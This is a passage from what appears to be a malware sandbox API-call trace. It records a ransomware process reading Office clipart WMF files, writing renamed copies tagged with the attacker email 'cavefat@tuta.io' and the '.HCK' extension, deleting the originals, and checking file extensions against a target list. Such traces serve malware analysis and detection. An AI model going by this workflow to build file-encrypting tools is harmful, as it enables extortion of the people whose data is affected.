lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.629] SetEndOfFile (hFile=0x3a4) returned 1 [0180.630] CloseHandle (hObject=0x3a4) returned 1 [0180.633] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.633] SetEndOfFile (hFile=0x368) returned 1 [0180.635] CloseHandle (hObject=0x368) returned 1 [0180.635] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00671_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.635] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00671_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00671_.wmf")) returned 1 [0180.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00671_.WMF") returned 68 [0180.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00671_.WMF") returned 68 [0180.638] lstrlenW (lpString=".doc") returned 4 [0180.638] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.638] lstrlenW (lpString=".docx") returned 5 [0180.638] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.638] lstrlenW (lpString=".pdf") returned 4 [0180.638] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.638] lstrlenW (lpString=".xls") returned 4 [0180.638] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.638] lstrlenW (lpString=".xlsx") returned 5 [0180.638] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.638] lstrlenW (lpString=".ppt") returned 4 [0180.638] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00671_.WMF") returned 68 [0180.638] lstrlenW (lpString=".zip") returned 4 [0180.638] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.638] lstrlenW (lpString=".rar") returned 4 [0180.638] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.638] lstrlenW (lpString=".bz2") returned 4 [0180.638] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.638] lstrlenW (lpString=".7z") returned 3 [0180.638] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00671_.WMF") returned 68 [0180.638] lstrlenW (lpString=".dbf") returned 4 [0180.638] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00671_.WMF") returned 68 [0180.638] lstrlenW (lpString=".1cd") returned 4 [0180.638] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00671_.WMF") returned 68 [0180.638] lstrlenW (lpString=".jpg") returned 4 [0180.638] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00671_.WMF") returned 68 [0180.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00671_.WMF") returned 68 [0180.638] lstrlenW (lpString=".doc") returned 4 [0180.639] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.639] lstrlenW (lpString=".docx") returned 5 [0180.639] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.639] lstrlenW (lpString=".pdf") returned 4 [0180.639] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.639] lstrlenW (lpString=".xls") returned 4 [0180.639] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.639] lstrlenW (lpString=".xlsx") returned 5 [0180.639] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.639] lstrlenW (lpString=".ppt") returned 4 [0180.639] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00671_.WMF") returned 68 [0180.639] lstrlenW (lpString=".zip") returned 4 [0180.639] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.639] lstrlenW (lpString=".rar") returned 4 [0180.639] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.639] lstrlenW (lpString=".bz2") returned 4 [0180.639] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.639] lstrlenW (lpString=".7z") returned 3 [0180.639] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00671_.WMF") returned 68 [0180.639] lstrlenW (lpString=".dbf") returned 4 [0180.639] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00671_.WMF") returned 68 [0180.639] lstrlenW (lpString=".1cd") returned 4 [0180.639] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00671_.WMF") returned 68 [0180.639] lstrlenW (lpString=".jpg") returned 4 [0180.639] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.639] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.639] lstrlenW (lpString="SO00726_.WMF") returned 12 [0180.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00726_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00726_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0180.644] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=91256) returned 1 [0180.644] CloseHandle (hObject=0x39c) returned 1 [0180.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00726_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00726_.wmf")) returned 0x220 [0180.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00726_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00726_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00726_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00726_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0180.648] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.648] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00726_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00726_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0180.651] GetLastError () returned 0x0 [0180.651] ReadFile (in: hFile=0x39c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x16478, lpOverlapped=0x0) returned 1 [0180.655] WriteFile (in: hFile=0x370, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x16480, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x16480, lpOverlapped=0x0) returned 1 [0180.656] ReadFile (in: hFile=0x39c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.657] WriteFile (in: hFile=0x370, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.657] SetEndOfFile (hFile=0x370) returned 1 [0180.659] CloseHandle (hObject=0x370) returned 1 [0180.661] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.661] SetEndOfFile (hFile=0x39c) returned 1 [0180.666] CloseHandle (hObject=0x39c) returned 1 [0180.666] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00726_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.667] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00726_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00726_.wmf")) returned 1 [0180.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00726_.WMF") returned 68 [0180.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00726_.WMF") returned 68 [0180.668] lstrlenW (lpString=".doc") returned 4 [0180.668] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.668] lstrlenW (lpString=".docx") returned 5 [0180.668] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.668] lstrlenW (lpString=".pdf") returned 4 [0180.668] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.668] lstrlenW (lpString=".xls") returned 4 [0180.668] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.668] lstrlenW (lpString=".xlsx") returned 5 [0180.668] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.668] lstrlenW (lpString=".ppt") returned 4 [0180.668] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00726_.WMF") returned 68 [0180.668] lstrlenW (lpString=".zip") returned 4 [0180.668] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.668] lstrlenW (lpString=".rar") returned 4 [0180.668] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.668] lstrlenW (lpString=".bz2") returned 4 [0180.668] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.668] lstrlenW (lpString=".7z") returned 3 [0180.668] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00726_.WMF") returned 68 [0180.668] lstrlenW (lpString=".dbf") returned 4 [0180.668] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00726_.WMF") returned 68 [0180.668] lstrlenW (lpString=".1cd") returned 4 [0180.668] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00726_.WMF") returned 68 [0180.668] lstrlenW (lpString=".jpg") returned 4 [0180.669] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00726_.WMF") returned 68 [0180.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00726_.WMF") returned 68 [0180.669] lstrlenW (lpString=".doc") returned 4 [0180.669] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.669] lstrlenW (lpString=".docx") returned 5 [0180.669] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.669] lstrlenW (lpString=".pdf") returned 4 [0180.669] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.669] lstrlenW (lpString=".xls") returned 4 [0180.669] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.669] lstrlenW (lpString=".xlsx") returned 5 [0180.669] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.669] lstrlenW (lpString=".ppt") returned 4 [0180.669] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00726_.WMF") returned 68 [0180.669] lstrlenW (lpString=".zip") returned 4 [0180.669] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.669] lstrlenW (lpString=".rar") returned 4 [0180.669] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.669] lstrlenW (lpString=".bz2") returned 4 [0180.669] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.669] lstrlenW (lpString=".7z") returned 3 [0180.669] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00726_.WMF") returned 68 [0180.669] lstrlenW (lpString=".dbf") returned 4 [0180.669] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00726_.WMF") returned 68 [0180.669] lstrlenW (lpString=".1cd") returned 4 [0180.669] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00726_.WMF") returned 68 [0180.669] lstrlenW (lpString=".jpg") returned 4 [0180.669] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.669] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.669] lstrlenW (lpString="SO00768_.WMF") returned 12 [0180.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00768_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00768_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0180.673] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=21562) returned 1 [0180.673] CloseHandle (hObject=0x368) returned 1 [0180.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00768_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00768_.wmf")) returned 0x220 [0180.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00768_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00768_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00768_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00768_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0180.679] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.679] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00768_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00768_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0180.681] GetLastError () returned 0x0 [0180.681] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x543a, lpOverlapped=0x0) returned 1 [0180.684] WriteFile (in: hFile=0x3a4, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x5440, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x5440, lpOverlapped=0x0) returned 1 [0180.685] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.685] WriteFile (in: hFile=0x3a4, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.685] SetEndOfFile (hFile=0x3a4) returned 1 [0180.686] CloseHandle (hObject=0x3a4) returned 1 [0180.686] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.686] SetEndOfFile (hFile=0x2fc) returned 1 [0180.686] CloseHandle (hObject=0x2fc) returned 1 [0180.686] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00768_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.687] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00768_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00768_.wmf")) returned 1 [0180.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00768_.WMF") returned 68 [0180.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00768_.WMF") returned 68 [0180.688] lstrlenW (lpString=".doc") returned 4 [0180.688] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.688] lstrlenW (lpString=".docx") returned 5 [0180.689] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.689] lstrlenW (lpString=".pdf") returned 4 [0180.689] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.689] lstrlenW (lpString=".xls") returned 4 [0180.689] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.689] lstrlenW (lpString=".xlsx") returned 5 [0180.689] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.689] lstrlenW (lpString=".ppt") returned 4 [0180.689] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00768_.WMF") returned 68 [0180.689] lstrlenW (lpString=".zip") returned 4 [0180.689] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.689] lstrlenW (lpString=".rar") returned 4 [0180.689] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.689] lstrlenW (lpString=".bz2") returned 4 [0180.689] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.689] lstrlenW (lpString=".7z") returned 3 [0180.689] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00768_.WMF") returned 68 [0180.689] lstrlenW (lpString=".dbf") returned 4 [0180.689] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00768_.WMF") returned 68 [0180.689] lstrlenW (lpString=".1cd") returned 4 [0180.689] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00768_.WMF") returned 68 [0180.689] lstrlenW (lpString=".jpg") returned 4 [0180.689] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00768_.WMF") returned 68 [0180.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00768_.WMF") returned 68 [0180.689] lstrlenW (lpString=".doc") returned 4 [0180.689] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.689] lstrlenW (lpString=".docx") returned 5 [0180.689] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.689] lstrlenW (lpString=".pdf") returned 4 [0180.689] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.689] lstrlenW (lpString=".xls") returned 4 [0180.689] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.689] lstrlenW (lpString=".xlsx") returned 5 [0180.689] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.689] lstrlenW (lpString=".ppt") returned 4 [0180.689] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00768_.WMF") returned 68 [0180.689] lstrlenW (lpString=".zip") returned 4 [0180.689] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.689] lstrlenW (lpString=".rar") returned 4 [0180.689] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.689] lstrlenW (lpString=".bz2") returned 4 [0180.689] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.689] lstrlenW (lpString=".7z") returned 3 [0180.689] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00768_.WMF") returned 68 [0180.689] lstrlenW (lpString=".dbf") returned 4 [0180.689] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00768_.WMF") returned 68 [0180.690] lstrlenW (lpString=".1cd") returned 4 [0180.690] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00768_.WMF") returned 68 [0180.690] lstrlenW (lpString=".jpg") returned 4 [0180.690] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.690] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.690] lstrlenW (lpString="SO00820_.WMF") returned 12 [0180.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00820_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00820_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0180.693] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=16834) returned 1 [0180.693] CloseHandle (hObject=0x370) returned 1 [0180.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00820_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00820_.wmf")) returned 0x220 [0180.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00820_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00820_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00820_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00820_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0180.696] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.696] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00820_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00820_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0180.699] GetLastError () returned 0x0 [0180.699] ReadFile (in: hFile=0x300, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x41c2, lpOverlapped=0x0) returned 1 [0180.702] WriteFile (in: hFile=0x3a4, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x41d0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x41d0, lpOverlapped=0x0) returned 1 [0180.703] ReadFile (in: hFile=0x300, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.703] WriteFile (in: hFile=0x3a4, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.703] SetEndOfFile (hFile=0x3a4) returned 1 [0180.709] CloseHandle (hObject=0x3a4) returned 1 [0180.711] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.711] 